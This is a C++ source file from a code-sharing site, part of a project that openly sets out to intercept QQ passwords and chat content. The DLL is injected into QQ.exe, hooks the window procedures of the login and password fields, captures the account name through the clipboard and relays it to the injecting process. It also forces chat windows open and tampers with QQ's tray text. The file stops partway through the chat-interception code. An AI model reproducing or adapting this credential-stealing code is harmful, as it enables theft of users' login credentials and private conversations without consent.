gusucode.com > 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴 > 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴/RemoteThreadMateQQ/dllRemoteThread/QQMate.cpp

    // QQMate.cpp: implementation of the CQQMate class.
//
//////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "QQMate.h"

#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif

extern t_RemoteThreadPara *g_pRemoteThreadPara;
extern DWORD g_dwInvokerPID;
extern HWND g_hWndInvoker;
extern CString g_csCurModuleBaseName;

CQQMate *m_pQQMate = NULL;
UINT WM_TASKBARCREATED = NULL;

//
// 向调用者发送消息
//
LRESULT SendMessageIV (
					   ENUM_REMOTE_MSG eRemoteMsg,
					   DWORD dwData,
					   LPCTSTR lpszText/*=NULL*/,
					   DWORD dwData1/*=0*/,
					   DWORD dwData2/*=0*/,
					   DWORD dwData3/*=0*/,
					   LPVOID lpData/*=NULL*/,
					   int cbDataSize/*=0*/
					   )
{
	if ( !g_pRemoteThreadPara ) return FALSE;
	if ( !IsWindow(g_hWndInvoker) ) return FALSE;
	int nTextSize = 0;
	if ( lpszText )
		nTextSize = lstrlen ( lpszText ) + sizeof(TCHAR);

	t_RCopyData tRCopyData = {0};
	tRCopyData.eRemoteMsg = eRemoteMsg;
	tRCopyData.dwData1 = dwData1;
	tRCopyData.dwData2 = dwData2;
	tRCopyData.dwData3 = dwData3;
	tRCopyData.nTextSize = nTextSize;
	tRCopyData.nDataSize = cbDataSize;
	tRCopyData.dwQQProcessID = GetCurrentProcessId();

	COPYDATASTRUCT CopyData = {0};
	CopyData.dwData = dwData;
	CopyData.cbData = sizeof(t_RCopyData) + nTextSize + cbDataSize;
	CopyData.lpData = new BYTE[CopyData.cbData];
	if ( !CopyData.lpData ) return FALSE;
	BYTE *pDataCurPos = (BYTE*)CopyData.lpData;
	memset ( pDataCurPos, 0, CopyData.cbData );
	memcpy ( pDataCurPos, &tRCopyData, sizeof(t_RCopyData) );
	pDataCurPos += sizeof(t_RCopyData);
	if ( lpszText )
		memcpy ( pDataCurPos, lpszText, nTextSize-sizeof(TCHAR) );
	pDataCurPos += nTextSize;

	if ( lpData )
		memcpy ( pDataCurPos, lpData, cbDataSize );
	pDataCurPos += cbDataSize;

	LRESULT lRes = SendMessage ( g_hWndInvoker, WM_COPYDATA,
		WPARAM(g_hWndInvoker), LPARAM(&CopyData));
	delete[]((BYTE*)CopyData.lpData);

	return lRes;
}

BOOL CALLBACK EnumThreadWndProc ( HWND hwnd, LPARAM lParam )
{
	TCHAR szClassName[255] = {0};
	::GetClassName ( hwnd, szClassName, COUNT(szClassName) );
	if ( lstrcmp ( _T("Afx:400000:0"), szClassName ) == 0 )
	{
		if ( !WM_TASKBARCREATED )
			WM_TASKBARCREATED = ::RegisterWindowMessage ( _T("TaskbarCreated") );
		SendMessage ( hwnd, WM_TASKBARCREATED, NULL, NULL );
	//	HwDbgLog ( L_DEBUG, _T("删除托盘图标: hwnd - 0x%X, Class - %s"),
	//		hwnd, szClassName );
	}
	
	return TRUE;
}

//
// 通知QQ重建托盘图标
//
void NotifyQQRecreateTray ()
{
	if ( m_pQQMate )
	{
		m_pQQMate->m_csLocalQQAccount.Empty();
		m_pQQMate->m_csLocalQQNickname.Empty();
		memset ( &m_pQQMate->m_tnd, 0, sizeof(NOTIFYICONDATA) );
	}

	CUIntArray UIntAry_ThreadID;
	CProcessManage::GetThreadInfo ( GetCurrentProcessId(), &UIntAry_ThreadID );
	for ( int i=0; i<UIntAry_ThreadID.GetSize(); i++ )
	{
		EnumThreadWindows ( UIntAry_ThreadID.GetAt(i), EnumThreadWndProc, LPARAM(NULL) );
	}
}

//
// 当前dll执行的空间是否是在QQ进程空间里
//
BOOL CurrentIsQQProcess ()
{
	HwDbgLog ( L_ONLY_LOGFILE, "CurrentIsQQProcess() : g_dwInvokerPID = %d", g_dwInvokerPID );
	if ( g_dwInvokerPID == 0 || g_dwInvokerPID == GetCurrentProcessId() )	// 还在调用者的空间里
		return FALSE;
	HwDbgLog ( L_ONLY_LOGFILE, "CurrentIsQQProcess() : g_csCurModuleBaseName = %s", g_csCurModuleBaseName );
	if ( g_csCurModuleBaseName.CompareNoCase ( _T("QQ.exe") ) != 0 )
		return FALSE;

	return TRUE;
}

DWORD WINAPI ThreadProc_CaptureWindow ( LPVOID lpParameter )
{
	CQQMate *pQQMate = (CQQMate*)lpParameter;
	if ( pQQMate ) pQQMate->ThreadProc_CaptureWindow ();
	return TRUE;
}

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CQQMate::CQQMate ( DWORD dwQQPID, CString csQQPath )
	: m_dwQQPID ( dwQQPID )
	, m_csQQPath ( csQQPath )
	, m_hThread_CaptureWindow ( NULL )
	, m_hEvtEndModule ( NULL )
	, m_hEvt_Check_Ary_FindQQChatInfoPara ( NULL )
	, m_hEvt_HandleInfoChangedOfQQAllChatWindow ( NULL )
	, m_hEvt_WillSendTextMsg ( NULL )
	, m_hEvt_WillSendTextMsgHandleOver ( FALSE )
	, m_bDisableHandleWillSendTextMsg ( FALSE )
	, m_dwDoSthForWillSendTextMsgTime ( 0 )
	, m_pFindQQChatInfoPara_WillSendTextMsg ( NULL )
	, m_hWndQQLoginWindow ( NULL )
	, m_bLoginOK ( FALSE )
	, m_dwStatusChangedTime ( 0 )
{
	memset ( &m_tnd, 0, sizeof(NOTIFYICONDATA) );
	memset ( &m_tFindQQLoginInfoPara, 0, sizeof(t_FindQQLoginInfoPara) );
}

CQQMate::~CQQMate(void)
{
	if ( HANDLE_IS_VALID(m_hEvtEndModule) ) ::SetEvent ( m_hEvtEndModule );
	WaitForThreadEnd ( &m_hThread_CaptureWindow );

	for ( int i=0; i<m_PtrAry_FindQQChatInfoPara.GetSize(); i++ )
	{
		CFindQQChatInfoPara *pFindQQChatInfoPara = (CFindQQChatInfoPara*)m_PtrAry_FindQQChatInfoPara.GetAt(i);
		if ( pFindQQChatInfoPara ) delete pFindQQChatInfoPara;
	}
	m_PtrAry_FindQQChatInfoPara.RemoveAll ();

	if ( HANDLE_IS_VALID(m_hEvtEndModule) ) ::CloseHandle ( m_hEvtEndModule ); m_hEvtEndModule = NULL;
	if ( HANDLE_IS_VALID(m_hEvt_Check_Ary_FindQQChatInfoPara) ) CloseHandle(m_hEvt_Check_Ary_FindQQChatInfoPara); m_hEvt_Check_Ary_FindQQChatInfoPara = NULL;
	if ( HANDLE_IS_VALID(m_hEvt_HandleInfoChangedOfQQAllChatWindow) ) CloseHandle(m_hEvt_HandleInfoChangedOfQQAllChatWindow); m_hEvt_HandleInfoChangedOfQQAllChatWindow = NULL;
	if ( HANDLE_IS_VALID(m_hEvt_WillSendTextMsg) ) CloseHandle(m_hEvt_WillSendTextMsg); m_hEvt_WillSendTextMsg = NULL;
	if ( HANDLE_IS_VALID(m_hEvt_WillSendTextMsgHandleOver) ) CloseHandle(m_hEvt_WillSendTextMsgHandleOver); m_hEvt_WillSendTextMsgHandleOver = NULL;
}

BOOL CQQMate::Init ()
{
	if ( !HANDLE_IS_VALID(m_hEvtEndModule) )
	{
		m_hEvtEndModule = ::CreateEvent ( NULL, TRUE, FALSE, NULL );
	}

	if ( !HANDLE_IS_VALID(m_hEvt_Check_Ary_FindQQChatInfoPara) )
	{
		m_hEvt_Check_Ary_FindQQChatInfoPara = ::CreateEvent ( NULL, FALSE, FALSE, NULL );
	}

	if ( !HANDLE_IS_VALID(m_hEvt_HandleInfoChangedOfQQAllChatWindow) )
	{
		m_hEvt_HandleInfoChangedOfQQAllChatWindow = ::CreateEvent ( NULL, FALSE, FALSE, NULL );
	}

	if ( !HANDLE_IS_VALID(m_hEvt_WillSendTextMsg) )
	{
		m_hEvt_WillSendTextMsg = ::CreateEvent ( NULL, FALSE, FALSE, NULL );
	}

	if ( !HANDLE_IS_VALID(m_hEvt_WillSendTextMsgHandleOver) )
	{
		m_hEvt_WillSendTextMsgHandleOver = ::CreateEvent ( NULL, FALSE, FALSE, NULL );
	}

	if ( !HANDLE_IS_VALID(m_hThread_CaptureWindow) )
	{
		DWORD dwThreadID = 0;
		m_hThread_CaptureWindow = ::CreateThread ( NULL, 0, ::ThreadProc_CaptureWindow, this, 0, &dwThreadID );
		if ( !HANDLE_IS_VALID(m_hThread_CaptureWindow) )
		{
			HwDbgLog ( L_ERROR|L_OUT_DLG, _T("Failed to create thread for cature window") );
			return FALSE;
		}
	}

	if ( !HANDLE_IS_VALID(m_hEvtEndModule) ||
		!HANDLE_IS_VALID(m_hEvt_Check_Ary_FindQQChatInfoPara) ||
		!HANDLE_IS_VALID(m_hEvt_HandleInfoChangedOfQQAllChatWindow) ||
		!HANDLE_IS_VALID(m_hEvt_WillSendTextMsg) ||
		!HANDLE_IS_VALID(m_hEvt_WillSendTextMsgHandleOver)
		)
	{
		HwDbgLog ( L_ERROR|L_OUT_DLG, _T("Create kernel event failed.") );
		return FALSE;
	}

	return TRUE;
}

//
// 枚举出 “qq.exe”的进程
//
int CQQMate::EnumQQProcess ( CStringArray *pStrAry_ProcessName/*=NULL*/, CUIntArray *pUIntAry_ProcessID/*=NULL*/, CStringArray *pStrAry_ProcessPath/*=NULL*/ )
{
	CStringArray StrAry_ProcessName;
	CUIntArray UIntAry_ProcessID;
	CStringArray StrAry_ProcessPath;
	if ( !CProcessManage::EnumSystemProcess (
		&StrAry_ProcessName,
		&UIntAry_ProcessID,
		NULL,
		NULL,
		&StrAry_ProcessPath
		) )
	{
		return -1;
	}
	ASSERT ( StrAry_ProcessName.GetSize() == UIntAry_ProcessID.GetSize() );
	ASSERT ( StrAry_ProcessName.GetSize() == StrAry_ProcessPath.GetSize() );

	int nCount = 0;
	for ( int i=0; i<StrAry_ProcessName.GetSize(); i++ )
	{
		CString csProcessName = StrAry_ProcessName.GetAt ( i );
		TRACE ( _T("%s\n"), csProcessName );
		csProcessName.MakeLower ();
		if ( csProcessName == _T("qq.exe") )
		{
			nCount ++;
			if ( pStrAry_ProcessName ) pStrAry_ProcessName->Add ( csProcessName );
			if ( pUIntAry_ProcessID ) pUIntAry_ProcessID->Add ( UIntAry_ProcessID.GetAt(i) );
			if ( pStrAry_ProcessPath ) pStrAry_ProcessPath->Add ( StrAry_ProcessPath.GetAt(i) );
		}
	}

	return nCount;
}

//
// 处理托盘通知消息
//
void CQQMate::Handle_TrayNotify ( DWORD dwMessage, PNOTIFYICONDATA lpdata )
{
	NOTIFYICONDATA tndNew = {0};
	memcpy ( &tndNew, lpdata, sizeof(NOTIFYICONDATA) );
	if ( lstrlen(tndNew.szTip) < 1 )
		lstrcpy ( tndNew.szTip, m_tnd.szTip );
	if ( !tndNew.hIcon)
		tndNew.hIcon = m_tnd.hIcon;
	if ( !tndNew.uCallbackMessage)
		tndNew.uCallbackMessage = m_tnd.uCallbackMessage;
	if ( !tndNew.uID)
		tndNew.uCallbackMessage = m_tnd.uID;

	// 从托盘提示信息中获取本地QQ号码,如:QQ: 快乐风(13231462)
	if ( stricmp ( tndNew.szTip, m_tnd.szTip ) != 0 &&
		(m_csLocalQQAccount.IsEmpty() || m_csLocalQQNickname.IsEmpty()) )
	{
		CString csTip = GetCompatibleString ( tndNew.szTip, FALSE );
		int nPos = csTip.Find ( QQTRAYTIP_ADD_STRING, 0 );
		if ( nPos > 0 )
		{
			csTip = csTip.Left ( nPos );
		}
		nPos = csTip.Find ( _T("QQ"), 0 );
		if ( nPos >= 0 ) csTip = csTip.Mid ( nPos+2 );
		csTip.TrimLeft(); csTip.TrimRight();
		if ( csTip.GetLength() > 0 && csTip[0] == _T(':') )
			csTip.Delete ( 0 );
		csTip.TrimLeft(); csTip.TrimRight();
		int nLeftPos = csTip.Find ( _T("("), 0 );
		int nRightPos = csTip.Find ( _T(")"), 0 );
		if ( nLeftPos >= 0 && nRightPos > nLeftPos )
		{
			m_csLocalQQAccount = csTip.Mid ( nLeftPos+1, nRightPos-nLeftPos-1 );
			m_csLocalQQAccount.TrimLeft(); m_csLocalQQAccount.TrimRight();
			m_csLocalQQNickname = csTip.Left ( nLeftPos );
			m_csLocalQQNickname.TrimLeft(); m_csLocalQQNickname.TrimRight();
			// 登录QQ成功了
			if ( !m_bLoginOK && !m_csLocalQQAccount.IsEmpty() )
			{
				m_bLoginOK = TRUE;
				m_dwStatusChangedTime = GetTickCount();
				::SendMessageIV ( RMSG_QQStatusChanged, (DWORD)m_bLoginOK, m_csLocalQQAccount );
			}
		}
	}

	// QQ要退出了
	if ( dwMessage == NIM_DELETE && m_bLoginOK && GetTickCount()-m_dwStatusChangedTime>1000 )
	{
		m_bLoginOK = FALSE;
		::SendMessageIV ( RMSG_QQStatusChanged, (DWORD)m_bLoginOK, m_csLocalQQAccount );
		memset ( &m_tnd, 0, sizeof(NOTIFYICONDATA) );
		m_csLocalQQAccount.Empty();
		m_csLocalQQNickname.Empty();
	}

	// 可能收到了QQ新消息,我们要向QQ窗口发送托盘双击的消息以打开消息窗口界面
	if ( dwMessage == NIM_MODIFY && m_tnd.hIcon != tndNew.hIcon )
	{
		if ( IsWindow(m_tnd.hWnd) && m_tnd.uID > 0 )
		{
			HwDbgLog ( L_DEBUG, _T("Send tray double click message.") );
			SendMessage ( m_tnd.hWnd, m_tnd.uCallbackMessage, WPARAM(m_tnd.uID), LPARAM(WM_LBUTTONDBLCLK) );
		}
		if ( HANDLE_IS_VALID(m_hEvt_HandleInfoChangedOfQQAllChatWindow) )
			SetEvent ( m_hEvt_HandleInfoChangedOfQQAllChatWindow );
	}

	memcpy ( &m_tnd, &tndNew, sizeof(NOTIFYICONDATA) );
	CString csMsgText = FormatString ( _T("%s\r\n%s"), m_csLocalQQAccount, m_csLocalQQNickname );
	::SendMessageIV ( RMSG_TRAY_CHANGED, (DWORD)m_tnd.hWnd, csMsgText, (DWORD)m_tnd.hIcon );

#ifdef _DEBUG
	/*{
		TCHAR szClassName[255] = {0};
		::GetClassName ( m_tnd.hWnd, szClassName, COUNT(szClassName) );
		TCHAR szTitle[255] = {0};
		::SendMessage(m_tnd.hWnd,WM_GETTEXT,COUNT(szTitle),(LPARAM)szTitle);
		UINT nID = GetWindowLong ( m_tnd.hWnd, GWL_ID );
		HwDbgLog ( L_DEBUG, _T("托盘信息改变: hwnd - 0x%X, Class - %s, Title - %s, ID - %d"),
			m_tnd.hWnd, szClassName, szTitle, nID );
	}*/
#endif

	// 在QQ托盘提示信息里加一段话
	CString csTip = GetCompatibleString ( lpdata->szTip, FALSE );
	if ( csTip.Find(QQTRAYTIP_ADD_STRING,0) < 0 )
	{
		csTip += QQTRAYTIP_ADD_STRING;
		strncpy ( lpdata->szTip, CMultiByteString(csTip).GetBuffer(), COUNT(lpdata->szTip)-1 );
	}
}

//-------------------------------------------------------------------------
// 截获 QQ 登录框的窗口消息
//-------------------------------------------------------------------------
FUNC_WindowProc g_pfnOrgWindowProc_QQLoginWindow = NULL;
FUNC_WindowProc g_pfnOrgWindowProc_QQAccount = NULL;
FUNC_WindowProc g_pfnOrgWindowProc_QQPassword = NULL;
FUNC_WindowProc g_pfnOrgWindowProc_LoginButton = NULL;

BOOL CALLBACK EnumChildProc_FindQQLoginInfo (
											 HWND hWnd,      // handle to child window
											 LPARAM lParam   // application-defined value
											 )
{
	t_FindQQLoginInfoPara *pFindQQLoginInfoPara = (t_FindQQLoginInfoPara*)lParam;
	ASSERT ( pFindQQLoginInfoPara );
	
	TCHAR szClassName[64] = {0};
	::GetClassName ( hWnd, szClassName, COUNT(szClassName) );
	_strlwr_hw ( szClassName );
	TCHAR szTitle[255] = {0};
	::SendMessage(hWnd,WM_GETTEXT,COUNT(szTitle),(LPARAM)szTitle);
	UINT nID = GetWindowLong ( hWnd, GWL_ID );
	HwDbgLog ( L_DEBUG, _T("枚举登录子窗口: hWnd = 0x%08X, %s, %s, %d"), hWnd, szTitle, szClassName, nID );
	
	// 是账号输入框吗
	if ( !IsWindow(pFindQQLoginInfoPara->hWndQQAccount) )
	{
		if ( nID == 138 && strstr_hw ( szClassName, _T("combobox") ) )
		{
			pFindQQLoginInfoPara->hWndQQAccount = hWnd;
		}
	}
	
	// 是密码输入框吗
	if ( !IsWindow(pFindQQLoginInfoPara->hWndQQPassword) )
	{
		if ( nID == 0 && strstr_hw ( szClassName, _T("#32770") ) )
		{
			pFindQQLoginInfoPara->hWndQQPassword = hWnd;
		}
	}
	
	// 是登录按钮吗
	if ( !IsWindow(pFindQQLoginInfoPara->hWndLoginButton) )
	{
		if ( strstr_hw ( szTitle, _T("登录") ) && strstr_hw ( szClassName, _T("button") ) )
		{
			pFindQQLoginInfoPara->hWndLoginButton = hWnd;
		}
	}
	
	if ( IsWindow(pFindQQLoginInfoPara->hWndQQAccount) &&
		IsWindow(pFindQQLoginInfoPara->hWndQQPassword) &&
		IsWindow(pFindQQLoginInfoPara->hWndLoginButton) )
	{
		return FALSE;		// 找到了,停止枚举
	}
	return TRUE;
}

//
// 查找 QQ 登录窗口
//
BOOL CQQMate::FindQQLoginWindow ()
{
	t_Ary_FindWindowHwOutput tAry_FindWindowHwOutput;
	if ( !FindWindowHw ( tAry_FindWindowHwOutput, TRUE, _T("QQ.exe"), m_dwQQPID, _T("#32770"), _T("QQ用户登录"), NULL ) )
		return FALSE;
	ASSERT ( tAry_FindWindowHwOutput.GetSize() > 0 );
	m_hWndQQLoginWindow = tAry_FindWindowHwOutput.GetAt(0).hWndFound;
	
	::EnumChildWindows ( m_hWndQQLoginWindow, EnumChildProc_FindQQLoginInfo, LPARAM(&m_tFindQQLoginInfoPara) );
	
	return IsWindow(m_hWndQQLoginWindow);
}

LRESULT CALLBACK WindowProc_QQLoginWindow ( HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam )
{
//	HwDbgLog ( L_DEBUG, _T("WindowProc_QQLoginWindow ( 0x%08X , 0x%04X , %d , %d)"), hWnd, uMsg, wParam, lParam );
	if ( uMsg == WM_SYSCOMMAND )
	{
		int uCmdType = wParam;
		WORD xPos = LOWORD(lParam);
		WORD yPos = HIWORD(lParam);
		HwDbgLog ( L_DEBUG, _T("WindowProc_QQLoginWindow ( 0x%08X , WM_SYSCOMMAND - 0x%04X , %d , %d)"), hWnd, uCmdType, xPos, yPos );
		if ( SC_CLOSE == uCmdType )
		{
			HwDbgLog ( L_DEBUG, _T("WindowProc_QQLoginWindow ( 0x%08X , %s , 0x%04X , %d , %d)"), hWnd, _T("WM_SYSCOMMAND - SC_CLOSE"), uCmdType, xPos, yPos );
			::SendMessageIV ( RMSG_LoginWindowClose, (DWORD)m_pQQMate->m_hWndQQLoginWindow, NULL, FALSE, 0, 0,
				&m_pQQMate->m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) );
		}
		else if ( SC_MINIMIZE == uCmdType )
		{
			HwDbgLog ( L_DEBUG, _T("WindowProc_QQLoginWindow ( 0x%08X , %s , 0x%04X , %d , %d)"), hWnd, _T("WM_SYSCOMMAND - SC_MINIMIZE"), uCmdType, xPos, yPos );
			::SendMessageIV ( RMSG_LoginWindowShow, (DWORD)m_pQQMate->m_hWndQQLoginWindow, NULL, uCmdType, 0, 0,
				&m_pQQMate->m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) );
		}
		else if ( SC_RESTORE == uCmdType )
		{
			HwDbgLog ( L_DEBUG, _T("WindowProc_QQLoginWindow ( 0x%08X , %s , 0x%04X , %d , %d)"), hWnd, _T("WM_SYSCOMMAND - SC_RESTORE"), uCmdType, xPos, yPos );
			::SendMessageIV ( RMSG_LoginWindowShow, (DWORD)m_pQQMate->m_hWndQQLoginWindow, NULL, uCmdType, 0, 0,
				&m_pQQMate->m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) );
		}
		else if ( 0xF012 == uCmdType )
		{
			::SendMessageIV ( RMSG_PasswordSetFocus, (DWORD)m_pQQMate->m_hWndQQLoginWindow, NULL, 0, 0, 0,
				&m_pQQMate->m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) );
		}
	}
	else if ( uMsg == WM_MOVING )
	{
		DWORD fwSide = wParam;           // edge of window to be moved 
		LPRECT lprc = (LPRECT) lParam;    // screen coordinates of drag rectangle 
		HwDbgLog ( L_DEBUG, _T("WindowProc_QQLoginWindow ( 0x%08X, %s, fwSide=%d, (%d,%d,%d,%d))"), hWnd, _T("WM_MOVING"), fwSide,
			lprc->left, lprc->top, lprc->right, lprc->bottom ); 
		if ( m_pQQMate )
		{
			::SendMessageIV ( RMSG_LoginWindowMoving, (DWORD)m_pQQMate->m_hWndQQLoginWindow, NULL, 0, 0, 0,
				&m_pQQMate->m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) );
		}
	}
	else if ( uMsg != 0x0082 && uMsg != 0x0210 && uMsg != 0x0002 && uMsg != 0x0046 && uMsg != 0x0282 && uMsg != 0x0281 && 
		uMsg != 0x0008 && uMsg != 0x0047 && uMsg != 0x0020 && uMsg != 0x0084 && uMsg != 0x036A && uMsg != 0x0133 &&
		uMsg != 0x0200 && uMsg != 0x001C && uMsg != 0x00A0 && uMsg != 0x02A2 && uMsg != 0x0135 && uMsg != 0x002B &&
		uMsg != 0x3C0A46 )
	{
		HwDbgLog ( L_DEBUG, _T("WindowProc_QQLoginWindow ( 0x%X , 0x%04X , %d , %d)"), hWnd, uMsg, wParam, lParam );
		if ( uMsg == WM_COMMAND )
		{
			WORD wNotifyCode = HIWORD(wParam); // notification code 
			WORD wID = LOWORD(wParam);         // item, control, or accelerator identifier 
			HWND hwndCtl = (HWND) lParam;      // handle of control
			HwDbgLog ( L_DEBUG, _T("WindowProc_QQLoginWindow ( 0x%08X, %s, 0x%04X, %d, 0x%08X, %s)"),
					hWnd, _T("WM_COMMAND"), wNotifyCode, wID, hwndCtl, GetWindowClassName(hwndCtl) );

			if ( wID == WM_COMMAND_USER_ClickLoginButton )
			{
				HwDbgLog ( L_DEBUG, _T("点击了登录按钮 (WM_COMMAND_USER_ClickLoginButton)") );
				if ( m_pQQMate )
				{
					CString csAccount = m_pQQMate->GetQQAccountFromCombo ( m_pQQMate->m_tFindQQLoginInfoPara.hWndQQAccount );
					::SendMessageIV ( RMSG_LoginWindowClose, (DWORD)m_pQQMate->m_hWndQQLoginWindow, csAccount, TRUE, 0, 0,
						&m_pQQMate->m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) );
					return FALSE;
				}
			}
			else if ( wNotifyCode == EN_KILLFOCUS )
			{
				HwDbgLog ( L_DEBUG, _T("WindowProc_QQLoginWindow ( 0x%08X, %s, 0x%04X, %d, 0x%08X, %s)"),
					hWnd, _T("EN_KILLFOCUS"), wNotifyCode, wID, hwndCtl, GetWindowClassName(hwndCtl) );
				if ( wID == 180 )
				{
					HwDbgLog ( L_DEBUG, _T("WindowProc_QQLoginWindow ( 0x%08X, %s, 密码输入窗口获得焦点了"), hwndCtl, "EN_KILLFOCUS" );
					::SendMessageIV ( RMSG_PasswordSetFocus, (DWORD)m_pQQMate->m_hWndQQLoginWindow, NULL, 1, 0, 0,
						&m_pQQMate->m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) );
				}
			}
			else if ( wNotifyCode == 0 && wID == 16024 )
			{
				::SendMessageIV ( RMSG_PasswordSetFocus, (DWORD)m_pQQMate->m_hWndQQLoginWindow, NULL, 0, 0, 0,
					&m_pQQMate->m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) );
			}
			else if ( IsWindow(hwndCtl) && GetWindowClassName(hwndCtl).CompareNoCase(_T("Button"))==0 )
			{
				TCHAR szTitle[255] = {0};
				::SendMessage(hwndCtl,WM_GETTEXT,COUNT(szTitle),(LPARAM)szTitle);
				if ( lstrcmpi ( szTitle, _T("登录") ) == 0 )
				{
					HwDbgLog ( L_DEBUG, _T("点击了登录按钮") );
					if ( m_pQQMate )
					{
						CString csAccount = m_pQQMate->GetQQAccountFromCombo ( m_pQQMate->m_tFindQQLoginInfoPara.hWndQQAccount );
						::SendMessageIV ( RMSG_LoginWindowClose, (DWORD)m_pQQMate->m_hWndQQLoginWindow, csAccount, TRUE, 0, 0,
							&m_pQQMate->m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) );
						return FALSE;
					}
				}
			}
		}
	}
	
	if ( !g_pfnOrgWindowProc_QQLoginWindow ) return FALSE;
	return g_pfnOrgWindowProc_QQLoginWindow ( hWnd, uMsg, wParam, lParam );
}

LRESULT CALLBACK WindowProc_QQAccount ( HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam )
{
	HwDbgLog ( L_DEBUG, _T("WindowProc_QQAccount ( 0x%X , 0x%04X , %d , %d)"), hWnd, uMsg, wParam, lParam );
	if ( uMsg == WM_GETTEXT )
	{
		int cchTextMax = (int)wParam;
		LPCTSTR lpszText = (LPCTSTR)lParam;
		HwDbgLog ( L_DEBUG, _T("WindowProc_QQAccount ( 0x%X, %s, %d, %s)"), hWnd, "WM_GETTEXT", cchTextMax, lpszText );
	}
	else if ( uMsg == WM_SETTEXT )
	{
		LPCTSTR lpszText = (LPCTSTR)lParam;
		HwDbgLog ( L_DEBUG, _T("WindowProc_QQAccount ( 0x%X, %s, %d, %s)"), hWnd, "WM_SETTEXT", 0, lpszText );
	}

	if ( !g_pfnOrgWindowProc_QQAccount ) return FALSE;
	return g_pfnOrgWindowProc_QQAccount ( hWnd, uMsg, wParam, lParam );
}

LRESULT CALLBACK WindowProc_QQPassword ( HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam )
{
	//	HwDbgLog ( L_DEBUG, _T("WindowProc_QQPassword ( 0x%X , 0x%04X , %d , %d)"), hWnd, uMsg, wParam, lParam );
	if ( uMsg == WM_PARENTNOTIFY )	// 密码输入框得到焦点,这个时候应该将我们准备好的编辑框覆盖密码输入框
	{
		WORD fwEvent = LOWORD(wParam);  // event flags 
		DWORD idChild = HIWORD(wParam);  // identifier of child window 
		if ( fwEvent == WM_LBUTTONDOWN )
		{
			HwDbgLog ( L_DEBUG, _T("WindowProc_QQPassword ( 0x%08X, %s, 密码输入窗口获得焦点了"), hWnd, "WM_LBUTTONDOWN" );
			::SendMessageIV ( RMSG_PasswordSetFocus, (DWORD)m_pQQMate->m_hWndQQLoginWindow, NULL, 0, 0, 0,
				&m_pQQMate->m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) );
		}
	}
	else if ( uMsg == WM_COMMAND )	// 密码输入框失去焦点了
	{
		WORD wNotifyCode = HIWORD(wParam); // notification code 
		WORD wID = LOWORD(wParam);         // item, control, or accelerator identifier 
		HWND hwndCtl = (HWND) lParam;      // handle of control
		if ( wNotifyCode == EN_UPDATE )
		{
			HwDbgLog ( L_DEBUG, _T("WindowProc_QQPassword ( 0x%X, %s, 0x%04X, %d, 0x%08X, %s )"),
				hWnd, "EN_UPDATE", wNotifyCode, wID, hwndCtl, GetWindowClassName(hwndCtl) );
		}
	}
	if ( !g_pfnOrgWindowProc_QQPassword ) return FALSE;
	return g_pfnOrgWindowProc_QQPassword ( hWnd, uMsg, wParam, lParam );
}

LRESULT CALLBACK WindowProc_LoginButton ( HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam )
{
	HwDbgLog ( L_DEBUG, _T("WindowProc_LoginButton ( 0x%X , 0x%04X , %d , %d)"), hWnd, uMsg, wParam, lParam );
	if ( !g_pfnOrgWindowProc_LoginButton ) return FALSE;
	return g_pfnOrgWindowProc_LoginButton ( hWnd, uMsg, wParam, lParam );
}

//
// 从登录框的QQ账号输入栏里取得QQ账号
//
CString CQQMate::GetQQAccountFromCombo ( HWND hWnd )
{
	if ( !IsWindow(hWnd) ) return _T("");
	CComboBox *pCombo = (CComboBox*)CComboBox::FromHandle ( hWnd );
	pCombo->SetEditSel ( 0, -1 );
	pCombo->Copy ();
	pCombo->SetEditSel ( -1, -1 );
	return GetClipBoardText();
}

BOOL CQQMate::CaptureQQAccountAndPassFromLoginWindow ()
{
	if ( !FindQQLoginWindow () ) return FALSE;
	if ( !IsWindow(m_hWndQQLoginWindow) || !IsWindow(m_tFindQQLoginInfoPara.hWndQQAccount) ||
		!IsWindow(m_tFindQQLoginInfoPara.hWndQQPassword) || !IsWindow(m_tFindQQLoginInfoPara.hWndLoginButton) )
	{
		return FALSE;
	}

	::SendMessageIV ( RMSG_ShowLoginWindow, (DWORD)m_hWndQQLoginWindow, NULL, 0, 0, 0,
		&m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) );
	
	HwDbgLog ( L_DEBUG, _T("QQPassword ID = %d, Classname : %s"), GetWindowLong( m_tFindQQLoginInfoPara.hWndQQPassword, GWL_ID),
		GetWindowClassName(m_tFindQQLoginInfoPara.hWndQQPassword) );

	ChangeWindownProc ( m_hWndQQLoginWindow, &g_pfnOrgWindowProc_QQLoginWindow, WindowProc_QQLoginWindow );
//	ChangeWindownProc ( m_tFindQQLoginInfoPara.hWndQQAccount, &g_pfnOrgWindowProc_QQAccount, WindowProc_QQAccount );
	ChangeWindownProc ( m_tFindQQLoginInfoPara.hWndQQPassword, &g_pfnOrgWindowProc_QQPassword, WindowProc_QQPassword );
//	ChangeWindownProc ( m_tFindQQLoginInfoPara.hWndLoginButton, &g_pfnOrgWindowProc_LoginButton, WindowProc_LoginButton );

	return TRUE;
}


//-------------------------------------------------------------------------
// 截获 QQ 聊天的窗口消息
//-------------------------------------------------------------------------

int CQQMate::FindFrom_Ary_FindQQChatInfoPara ( HWND hWnd )
{
	for ( int i=0; i<m_PtrAry_FindQQChatInfoPara.GetSize(); i++ )
	{
